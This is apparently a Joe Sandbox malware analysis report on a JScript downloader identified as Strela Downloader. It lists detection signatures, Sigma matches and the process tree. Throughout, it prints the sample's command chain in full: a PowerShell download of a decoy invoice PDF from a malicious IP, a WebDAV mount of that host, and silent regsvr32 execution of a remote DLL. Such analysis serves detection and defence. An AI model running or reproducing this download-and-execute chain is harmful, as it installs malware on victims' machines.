Edit tour

Windows Analysis Report
27311161302332319656.js

Overview

General Information

Sample name:	27311161302332319656.js
Analysis ID:	1587539
MD5:	09ecd4b4f94b9055758ef6916d378ae8
SHA1:	ba65959c8749d95c1b24ed8c811b0d10600357da
SHA256:	d6a16c3b95c2a9e2ccdf1b84a477d0407d00a0649eb0fd4859b4b0bea112a9ce
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7408 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7460 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7504 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7704 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,1828878515716076639,620599518666284365,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7724 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7784 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7988 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7408	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7504, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7504, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ProcessId: 7408, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ProcessId: 7408, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7504, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7784, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7988, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7784, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 7460, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 27311161302332319656.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 27311161302332319656.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1688975571.000001DB802E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1751239786.000002117EA4D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1751239786.000002117E9F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1751239786.000002117EA2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1751239786.000002117EA2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 00000006.00000002.1751239786.000002117E9F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sms
Source: svchost.exe, 00000008.00000002.2987277433.000001BA3680F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36A4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36AC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36AC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1749826959.000001BA36AC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7408, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 27311161302332319656.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

